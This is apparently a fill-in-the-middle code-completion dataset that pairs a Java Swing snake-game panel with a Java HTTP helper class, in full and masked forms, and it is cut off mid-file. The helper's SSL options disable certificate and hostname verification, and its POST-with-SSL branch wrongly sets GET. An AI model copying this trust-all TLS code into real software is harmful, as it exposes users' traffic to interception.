package view; /*标题栏高度30,但在linux下不占用window高度 *如何避免所有重绘,而只画其中一部分【1.截图,设置背景2.】 * 重绘指定区域【http://bbs.csdn.net/topics/220032015】repaint(x,y,width,height) * */ import model.MyFood; import model.MyPoint; import model.MySnake; import org.apache.log4j.Logger; //import org.junit.Test; import javax.swing.*; import java.awt.*; import java.util.ArrayList; public class GamePanel extends JPanel implements Runnable{ //主要是需要动态绘图 private static final GamePanel panel = new GamePanel(); private final int boxWidth = 25*2; private final int boxRow = MyWindow.getWindow().getWinHeight()/boxWidth; private final int boxCol = MyWindow.getWindow().getWinWidth()/boxWidth; private final ArrayList<MyPoint> pointArrayList = MySnake.getSnake().getArrayListSnake(); private final MyPoint pointFood = MyFood.getFood(); //上一轮的最后一个, private final MyPoint lastPoint = new MyPoint(-1,-1); private final static Logger log = Logger.getLogger(GamePanel.class); private boolean currentPanel = false; //是否改变行动方向,由按键控制 private boolean changeDirection = false; private int currentDirection = MySnake.getLeft(); private boolean firstPaint = true; //返回主菜单中断行走线程 private boolean moveOver = false; private static final Thread threadMove = new Thread(panel); //游戏是否完成标识[当开启线程时和重置状态时,此变量设为false private boolean gameOver = true; //线程是否已经开启 private boolean threadStart = false; static { } public boolean isThreadStart() { return threadStart; } public void setThreadStart(boolean threadStart) { this.threadStart = threadStart; } public boolean isGameOver() { return gameOver; } public void setGameOver(boolean gameOver) { this.gameOver = gameOver; } public static Thread getThreadMove() { return threadMove; } public boolean isMoveOver() { return moveOver; } public void setMoveOver(boolean moveOver) { this.moveOver = moveOver; } public boolean isFirstPaint() { return firstPaint; } public void setFirstPaint(boolean firstPaint) { this.firstPaint = firstPaint; } public MyPoint getLastPoint() { return lastPoint; } public boolean isChangeDirection() { return changeDirection; } public void setChangeDirection(boolean changeDirection) { this.changeDirection = changeDirection; } public int getCurrentDirection() { return currentDirection; } public void setCurrentDirection(int currentDirection) { this.currentDirection = currentDirection; } public boolean isCurrentPanel() { return currentPanel; } public void setCurrentPanel(boolean currentPanel) { this.currentPanel = currentPanel; } public int getBoxWidth() { return boxWidth; } public int getBoxRow() { return boxRow; } public ArrayList<MyPoint> getPointArrayList() { return pointArrayList; } public MyPoint getPointFood() { return pointFood; } public static Logger getLog() { return log; } public int getBoxCol() { return boxCol; } //绘图产生动画----- @Override public void paint(Graphics g) { super.paint(g); Graphics2D graphics2D = (Graphics2D) g; graphics2D.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON); graphics2D.setColor(Color.MAGENTA); graphics2D.drawLine(0, 0, 800, 600); graphics2D.drawLine(0, 600, 800, 0); //绘制网格 graphics2D.setColor(Color.BLUE); int i; for (i = 1; i < boxCol; i++) graphics2D.drawLine(i * boxWidth, 0, i * boxWidth, 600); for (i = 1; i < boxRow; i++) graphics2D.drawLine(0, i * boxWidth, 800, i * boxWidth); paintDynamic(graphics2D); } //绘制蛇体,食物,其余动态效果 private void paintDynamic(Graphics2D graphics2D){ Stroke stroke = new BasicStroke(1,BasicStroke.CAP_ROUND,BasicStroke.JOIN_ROUND, 0,null,0 ); graphics2D.setStroke(stroke); for (MyPoint point:pointArrayList) { graphics2D.setColor(Color.MAGENTA); graphics2D.fillRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth); graphics2D.setColor(Color.YELLOW); graphics2D.drawRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth); } if (MyFood.getFood().getScore() == 2) graphics2D.setColor(Color.pink); graphics2D.fillRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth); graphics2D.setColor(Color.MAGENTA); graphics2D.drawRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth); //覆盖上一次的最后一个,是否需要【吃到食物就不需要】 if (!(lastPoint.getX() == -1 && lastPoint.getX() == -1)){ graphics2D.setColor(new Color(0x33,0xcc,0xcc));//面板背景色 graphics2D.fillRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth); graphics2D.setColor(Color.BLUE); graphics2D.drawRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth); } } @Override public void print(Graphics g) { super.print(g); } //坐标为x(col),y(row)方向 private void init(){ pointArrayList.add(new MyPoint(boxCol/2,boxRow/2)); pointArrayList.add(new MyPoint(boxCol/2+1,boxRow/2)); pointArrayList.add(new MyPoint(boxCol/2+2,boxRow/2)); } public static GamePanel getPanel() { return panel; } private GamePanel() { super(); setBackground(new Color(0x33,0xcc,0xcc)); init(); } @Override public void run() { log.info("move 线程启动。"); MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore()); while (true){ synchronized (pointArrayList) { try { Thread.sleep(600); } catch (InterruptedException e) { log.info("行走发生异常:" + e.getLocalizedMessage()); try { log.info("挂起move线程"); pointArrayList.wait(); //唤醒线程后从哪开始执行 log.info("线程move被唤醒,开始执行"); //唤醒线程之前需要重置food snake 状态,或者是唤醒后第一执行 if (!moveOver)//如果移动没有结束,【也就是这局游戏没有结束】 continue; MySnake.getSnake().resetState(); GamePanel.getPanel().setCurrentDirection(MySnake.getLeft()); GamePanel.getPanel().setChangeDirection(false); } catch (InterruptedException e1) { log.info("挂起.的线程发生异常:"+e1.getLocalizedMessage()); } } } log.info("I am going..."); MyPoint point = new MyPoint(); //是否有转向 if (changeDirection){ changeDirection = false; }else { //好像没必要分开,转不转向,都不影响预先点的生成 } point.setY(pointArrayList.get(0).getY()); point.setX(pointArrayList.get(0).getX()); switch (currentDirection){ case MySnake.left:point.setX(point.getX()-1);break; case MySnake.down:point.setY(point.getY()+1);break; case MySnake.right:point.setX(point.getX()+1);break; case MySnake.up:point.setY(point.getY()-1);break; default:JOptionPane.showMessageDialog(this,"出现了未知方向"); } MyPoint pointFood = MyFood.getFood(); //如果撞到自己 for (MyPoint myp : pointArrayList) { if (myp.getY() == point.getY() && myp.getX() == point.getX()){ gameOver(); } } //给最后一个赋值 lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX()); lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY()); //吃到食物[改变数组长度,并使lastPoint为-1,-1(表示不覆盖)] if (point.getX() == pointFood.getX() && point.getY() == pointFood.getY()){ log.info("吃到食物。"); //插入头节点 pointArrayList.add(0,point); lastPoint.setY(-1); lastPoint.setX(-1); MySnake.getSnake().setScore(MySnake.getSnake().getScore()+MyFood.getFood().getScore()); MyFood.getFood().flush(); MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore()); }else if (point.getX()<0||point.getX()>=boxCol||point.getY()<0||point.getY()>=boxRow){ gameOver(); }else {//正常移动,整体移位 int x,y; for (MyPoint myPoint:pointArrayList){ x = myPoint.getX(); y = myPoint.getY(); myPoint.setY(point.getY()); myPoint.setX(point.getX()); point.setX(x); point.setY(y); } } log.info("蛇长度:"+pointArrayList.size()+"头位置:"+pointArrayList.get(0).getX()+','+pointArrayList.get(0).getY()+ "食物位置:"+pointFood.toString()+"总分:"+MySnake.getSnake().getScore()); paintMove(); } } public void gameOver(){ JOptionPane.showMessageDialog(this,"game over\n" + "得分:"+MySnake.getSnake().getScore()); moveOver = true; //游戏处于结束状态,设置结束标识 gameOver = true; threadMove.interrupt(); /*根据jdk的void notifyAll()的描述,“解除那些在该对象上调用wait()方法的线程的阻塞状态。 该方法只能在同步方法或同步块内部调用。 如果当前线程不是对象所得持有者,该方法抛出一个java.lang.IllegalMonitorStateException 异常” * */ /*try { threadMove.wait(); } catch (InterruptedException e) { log.info("挂起:"+e.getLocalizedMessage()); }*/ MyWindow.getWindow().remove(this); MyWindow.getWindow().add(MenuPanel.getPanel().getjPanel()); MyWindow.getWindow().setTitle(MyWindow.getWindow().getWinTitle()); MyWindow.getWindow().repaint(); MyWindow.getWindow().validate(); } @Override public void repaint() { super.repaint(); } //行走: public void paintMove(){ repaint(); //重绘蛇身上轮最后一点 /* repaint(lastPoint.getX(),lastPoint.getY(),boxWidth,boxWidth); repaint(pointArrayList.get(0).getX());*/ /*//给最后一个赋值 lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX()); lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY());*/ } }
0874/tanChiShe
src/main/java/view/GamePanel.java
2,915
//给最后一个赋值
line_comment
zh-cn
package view; /*标题栏高度30,但在linux下不占用window高度 *如何避免所有重绘,而只画其中一部分【1.截图,设置背景2.】 * 重绘指定区域【http://bbs.csdn.net/topics/220032015】repaint(x,y,width,height) * */ import model.MyFood; import model.MyPoint; import model.MySnake; import org.apache.log4j.Logger; //import org.junit.Test; import javax.swing.*; import java.awt.*; import java.util.ArrayList; public class GamePanel extends JPanel implements Runnable{ //主要是需要动态绘图 private static final GamePanel panel = new GamePanel(); private final int boxWidth = 25*2; private final int boxRow = MyWindow.getWindow().getWinHeight()/boxWidth; private final int boxCol = MyWindow.getWindow().getWinWidth()/boxWidth; private final ArrayList<MyPoint> pointArrayList = MySnake.getSnake().getArrayListSnake(); private final MyPoint pointFood = MyFood.getFood(); //上一轮的最后一个, private final MyPoint lastPoint = new MyPoint(-1,-1); private final static Logger log = Logger.getLogger(GamePanel.class); private boolean currentPanel = false; //是否改变行动方向,由按键控制 private boolean changeDirection = false; private int currentDirection = MySnake.getLeft(); private boolean firstPaint = true; //返回主菜单中断行走线程 private boolean moveOver = false; private static final Thread threadMove = new Thread(panel); //游戏是否完成标识[当开启线程时和重置状态时,此变量设为false private boolean gameOver = true; //线程是否已经开启 private boolean threadStart = false; static { } public boolean isThreadStart() { return threadStart; } public void setThreadStart(boolean threadStart) { this.threadStart = threadStart; } public boolean isGameOver() { return gameOver; } public void setGameOver(boolean gameOver) { this.gameOver = gameOver; } public static Thread getThreadMove() { return threadMove; } public boolean isMoveOver() { return moveOver; } public void setMoveOver(boolean moveOver) { this.moveOver = moveOver; } public boolean isFirstPaint() { return firstPaint; } public void setFirstPaint(boolean firstPaint) { this.firstPaint = firstPaint; } public MyPoint getLastPoint() { return lastPoint; } public boolean isChangeDirection() { return changeDirection; } public void setChangeDirection(boolean changeDirection) { this.changeDirection = changeDirection; } public int getCurrentDirection() { return currentDirection; } public void setCurrentDirection(int currentDirection) { this.currentDirection = currentDirection; } public boolean isCurrentPanel() { return currentPanel; } public void setCurrentPanel(boolean currentPanel) { this.currentPanel = currentPanel; } public int getBoxWidth() { return boxWidth; } public int getBoxRow() { return boxRow; } public ArrayList<MyPoint> getPointArrayList() { return pointArrayList; } public MyPoint getPointFood() { return pointFood; } public static Logger getLog() { return log; } public int getBoxCol() { return boxCol; } //绘图产生动画----- @Override public void paint(Graphics g) { super.paint(g); Graphics2D graphics2D = (Graphics2D) g; graphics2D.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON); graphics2D.setColor(Color.MAGENTA); graphics2D.drawLine(0, 0, 800, 600); graphics2D.drawLine(0, 600, 800, 0); //绘制网格 graphics2D.setColor(Color.BLUE); int i; for (i = 1; i < boxCol; i++) graphics2D.drawLine(i * boxWidth, 0, i * boxWidth, 600); for (i = 1; i < boxRow; i++) graphics2D.drawLine(0, i * boxWidth, 800, i * boxWidth); paintDynamic(graphics2D); } //绘制蛇体,食物,其余动态效果 private void paintDynamic(Graphics2D graphics2D){ Stroke stroke = new BasicStroke(1,BasicStroke.CAP_ROUND,BasicStroke.JOIN_ROUND, 0,null,0 ); graphics2D.setStroke(stroke); for (MyPoint point:pointArrayList) { graphics2D.setColor(Color.MAGENTA); graphics2D.fillRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth); graphics2D.setColor(Color.YELLOW); graphics2D.drawRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth); } if (MyFood.getFood().getScore() == 2) graphics2D.setColor(Color.pink); graphics2D.fillRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth); graphics2D.setColor(Color.MAGENTA); graphics2D.drawRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth); //覆盖上一次的最后一个,是否需要【吃到食物就不需要】 if (!(lastPoint.getX() == -1 && lastPoint.getX() == -1)){ graphics2D.setColor(new Color(0x33,0xcc,0xcc));//面板背景色 graphics2D.fillRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth); graphics2D.setColor(Color.BLUE); graphics2D.drawRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth); } } @Override public void print(Graphics g) { super.print(g); } //坐标为x(col),y(row)方向 private void init(){ pointArrayList.add(new MyPoint(boxCol/2,boxRow/2)); pointArrayList.add(new MyPoint(boxCol/2+1,boxRow/2)); pointArrayList.add(new MyPoint(boxCol/2+2,boxRow/2)); } public static GamePanel getPanel() { return panel; } private GamePanel() { super(); setBackground(new Color(0x33,0xcc,0xcc)); init(); } @Override public void run() { log.info("move 线程启动。"); MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore()); while (true){ synchronized (pointArrayList) { try { Thread.sleep(600); } catch (InterruptedException e) { log.info("行走发生异常:" + e.getLocalizedMessage()); try { log.info("挂起move线程"); pointArrayList.wait(); //唤醒线程后从哪开始执行 log.info("线程move被唤醒,开始执行"); //唤醒线程之前需要重置food snake 状态,或者是唤醒后第一执行 if (!moveOver)//如果移动没有结束,【也就是这局游戏没有结束】 continue; MySnake.getSnake().resetState(); GamePanel.getPanel().setCurrentDirection(MySnake.getLeft()); GamePanel.getPanel().setChangeDirection(false); } catch (InterruptedException e1) { log.info("挂起.的线程发生异常:"+e1.getLocalizedMessage()); } } } log.info("I am going..."); MyPoint point = new MyPoint(); //是否有转向 if (changeDirection){ changeDirection = false; }else { //好像没必要分开,转不转向,都不影响预先点的生成 } point.setY(pointArrayList.get(0).getY()); point.setX(pointArrayList.get(0).getX()); switch (currentDirection){ case MySnake.left:point.setX(point.getX()-1);break; case MySnake.down:point.setY(point.getY()+1);break; case MySnake.right:point.setX(point.getX()+1);break; case MySnake.up:point.setY(point.getY()-1);break; default:JOptionPane.showMessageDialog(this,"出现了未知方向"); } MyPoint pointFood = MyFood.getFood(); //如果撞到自己 for (MyPoint myp : pointArrayList) { if (myp.getY() == point.getY() && myp.getX() == point.getX()){ gameOver(); } } //给最 <SUF> lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX()); lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY()); //吃到食物[改变数组长度,并使lastPoint为-1,-1(表示不覆盖)] if (point.getX() == pointFood.getX() && point.getY() == pointFood.getY()){ log.info("吃到食物。"); //插入头节点 pointArrayList.add(0,point); lastPoint.setY(-1); lastPoint.setX(-1); MySnake.getSnake().setScore(MySnake.getSnake().getScore()+MyFood.getFood().getScore()); MyFood.getFood().flush(); MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore()); }else if (point.getX()<0||point.getX()>=boxCol||point.getY()<0||point.getY()>=boxRow){ gameOver(); }else {//正常移动,整体移位 int x,y; for (MyPoint myPoint:pointArrayList){ x = myPoint.getX(); y = myPoint.getY(); myPoint.setY(point.getY()); myPoint.setX(point.getX()); point.setX(x); point.setY(y); } } log.info("蛇长度:"+pointArrayList.size()+"头位置:"+pointArrayList.get(0).getX()+','+pointArrayList.get(0).getY()+ "食物位置:"+pointFood.toString()+"总分:"+MySnake.getSnake().getScore()); paintMove(); } } public void gameOver(){ JOptionPane.showMessageDialog(this,"game over\n" + "得分:"+MySnake.getSnake().getScore()); moveOver = true; //游戏处于结束状态,设置结束标识 gameOver = true; threadMove.interrupt(); /*根据jdk的void notifyAll()的描述,“解除那些在该对象上调用wait()方法的线程的阻塞状态。 该方法只能在同步方法或同步块内部调用。 如果当前线程不是对象所得持有者,该方法抛出一个java.lang.IllegalMonitorStateException 异常” * */ /*try { threadMove.wait(); } catch (InterruptedException e) { log.info("挂起:"+e.getLocalizedMessage()); }*/ MyWindow.getWindow().remove(this); MyWindow.getWindow().add(MenuPanel.getPanel().getjPanel()); MyWindow.getWindow().setTitle(MyWindow.getWindow().getWinTitle()); MyWindow.getWindow().repaint(); MyWindow.getWindow().validate(); } @Override public void repaint() { super.repaint(); } //行走: public void paintMove(){ repaint(); //重绘蛇身上轮最后一点 /* repaint(lastPoint.getX(),lastPoint.getY(),boxWidth,boxWidth); repaint(pointArrayList.get(0).getX());*/ /*//给最后一个赋值 lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX()); lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY());*/ } }
0
2,561
5
2,915
5
3,055
4
2,915
5
3,737
10
false
false
false
false
false
true
6749_34
package com.opslab.helper; import com.opslab.Opslab; import com.opslab.useful.SSLmiTM; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLSession; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; /** * 封装常见的HTTP方法 */ public final class HttpHelper { /** * 发起http的get请求 * * @param httpurl * @return */ public static String sendGet(String httpurl) { HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; String result = null;// 返回结果字符串 try { // 创建远程url连接对象 URL url = new URL(httpurl); // 通过远程url连接对象打开一个连接,强转成httpURLConnection类 connection = (HttpURLConnection) url.openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); // 发送请求 connection.connect(); // 通过connection连接,获取输入流 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 封装输入流is,并指定字符集 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); // 存放数据 StringBuilder sbf = new StringBuilder(); String temp = null; while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { // 关闭资源 if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起http的get请求支持忽略SSL校验 * * @param httpurl * @param isIgnoreSSL 是否忽略SSL校验 * @return */ public static String sendGetSSL(String httpurl, boolean isIgnoreSSL) { HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; String result = null;// 返回结果字符串 try { if (isIgnoreSSL) { //该部分必须在获取connection前调用 trustAllHttpsCertificates(); HostnameVerifier hv = new HostnameVerifier() { @Override public boolean verify(String urlHostName, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(hv); connection = (HttpURLConnection) new URL(httpurl).openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } else { // 创建远程url连接对象 URL url = new URL(httpurl); // 通过远程url连接对象打开一个连接,强转成httpURLConnection类 connection = (HttpURLConnection) url.openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } // 发送请求 connection.connect(); // 通过connection连接,获取输入流 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 封装输入流is,并指定字符集 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); // 存放数据 StringBuilder sbf = new StringBuilder(); String temp; while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { // 关闭资源 if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起POST请求 * * @param httpUrl * @param param * @return */ public static String sendPost(String httpUrl, String param) { HttpURLConnection connection = null; InputStream is = null; OutputStream os = null; BufferedReader br = null; String result = null; try { URL url = new URL(httpUrl); // 通过远程url连接对象打开连接 connection = (HttpURLConnection) url.openConnection(); // 设置连接请求方式 connection.setRequestMethod("POST"); // 设置连接主机服务器超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取主机服务器返回数据超时时间:60000毫秒 connection.setReadTimeout(60000); // 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true connection.setDoOutput(true); // 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无 connection.setDoInput(true); // 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0 //connection.setRequestProperty("Authorization", ""); // 通过连接对象获取一个输出流 os = connection.getOutputStream(); // 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的 os.write(param.getBytes()); // 通过连接对象获取一个输入流,向远程读取 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 对输入流对象进行包装:charset根据工作项目组的要求来设置 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); StringBuilder sbf = new StringBuilder(); String temp; // 循环遍历一行一行读取数据 while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != os) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起POST请求 支持忽略SSL校验 * * @param httpUrl * @param param * @param isIgnoreSSL * @return */ public static String sendPostSSL(String httpUrl, String param, boolean isIgnoreSSL) { HttpURLConnection connection = null; InputStream is = null; OutputStream os = null; BufferedReader br = null; String result = null; try { if (isIgnoreSSL) { //该部分必须在获取connection前调用 trustAllHttpsCertificates(); HostnameVerifier hv = new HostnameVerifier() { @Override public boolean verify(String urlHostName, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(hv); connection = (HttpURLConnection) new URL(httpUrl).openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } else { URL url = new URL(httpUrl); // 通过远程url连接对象打开连接 connection = (HttpURLConnection) url.openConnection(); // 设置连接请求方式 connection.setRequestMethod("POST"); // 设置连接主机服务器超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取主机服务器返回数据超时时间:60000毫秒 connection.setReadTimeout(60000); } // 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true connection.setDoOutput(true); // 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无 connection.setDoInput(true); // 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0 //connection.setRequestProperty("Authorization", ""); // 通过连接对象获取一个输出流 os = connection.getOutputStream(); // 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的 os.write(param.getBytes()); // 通过连接对象获取一个输入流,向远程读取 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 对输入流对象进行包装:charset根据工作项目组的要求来设置 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); StringBuilder sbf = new StringBuilder(); String temp; // 循环遍历一行一行读取数据 while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != os) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 开启SSL忽略 */ private static void trustAllHttpsCertificates() throws Exception { javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1]; javax.net.ssl.TrustManager tm = new SSLmiTM(); trustAllCerts[0] = tm; javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL"); sc.init(null, trustAllCerts, null); javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } }
0opslab/opslabJutil
src/main/java/com/opslab/helper/HttpHelper.java
2,843
// 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true
line_comment
zh-cn
package com.opslab.helper; import com.opslab.Opslab; import com.opslab.useful.SSLmiTM; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLSession; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; /** * 封装常见的HTTP方法 */ public final class HttpHelper { /** * 发起http的get请求 * * @param httpurl * @return */ public static String sendGet(String httpurl) { HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; String result = null;// 返回结果字符串 try { // 创建远程url连接对象 URL url = new URL(httpurl); // 通过远程url连接对象打开一个连接,强转成httpURLConnection类 connection = (HttpURLConnection) url.openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); // 发送请求 connection.connect(); // 通过connection连接,获取输入流 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 封装输入流is,并指定字符集 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); // 存放数据 StringBuilder sbf = new StringBuilder(); String temp = null; while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { // 关闭资源 if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起http的get请求支持忽略SSL校验 * * @param httpurl * @param isIgnoreSSL 是否忽略SSL校验 * @return */ public static String sendGetSSL(String httpurl, boolean isIgnoreSSL) { HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; String result = null;// 返回结果字符串 try { if (isIgnoreSSL) { //该部分必须在获取connection前调用 trustAllHttpsCertificates(); HostnameVerifier hv = new HostnameVerifier() { @Override public boolean verify(String urlHostName, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(hv); connection = (HttpURLConnection) new URL(httpurl).openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } else { // 创建远程url连接对象 URL url = new URL(httpurl); // 通过远程url连接对象打开一个连接,强转成httpURLConnection类 connection = (HttpURLConnection) url.openConnection(); // 设置连接方式:get connection.setRequestMethod("GET"); // 设置连接主机服务器的超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取远程返回的数据时间:60000毫秒 connection.setReadTimeout(60000); } // 发送请求 connection.connect(); // 通过connection连接,获取输入流 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 封装输入流is,并指定字符集 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); // 存放数据 StringBuilder sbf = new StringBuilder(); String temp; while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { // 关闭资源 if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起POST请求 * * @param httpUrl * @param param * @return */ public static String sendPost(String httpUrl, String param) { HttpURLConnection connection = null; InputStream is = null; OutputStream os = null; BufferedReader br = null; String result = null; try { URL url = new URL(httpUrl); // 通过远程url连接对象打开连接 connection = (HttpURLConnection) url.openConnection(); // 设置连接请求方式 connection.setRequestMethod("POST"); // 设置连接主机服务器超时时间:15000毫秒 connection.setConnectTimeout(15000); // 设置读取主机服务器返回数据超时时间:60000毫秒 connection.setReadTimeout(60000); // 默认 <SUF> connection.setDoOutput(true); // 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无 connection.setDoInput(true); // 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); // 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0 //connection.setRequestProperty("Authorization", ""); // 通过连接对象获取一个输出流 os = connection.getOutputStream(); // 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的 os.write(param.getBytes()); // 通过连接对象获取一个输入流,向远程读取 if (connection.getResponseCode() == 200) { is = connection.getInputStream(); // 对输入流对象进行包装:charset根据工作项目组的要求来设置 br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8)); StringBuilder sbf = new StringBuilder(); String temp; // 循环遍历一行一行读取数据 while ((temp = br.readLine()) != null) { sbf.append(temp); sbf.append("\r\n"); } result = sbf.toString(); } } catch (Exception e) { e.printStackTrace(); } finally { if (null != br) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != os) { try { os.close(); } catch (IOException e) { e.printStackTrace(); } } if (null != is) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } if (connection != null) { connection.disconnect(); } } return result; } /** * 发起POST请求 支持忽略SSL校验 * * @param httpUrl * 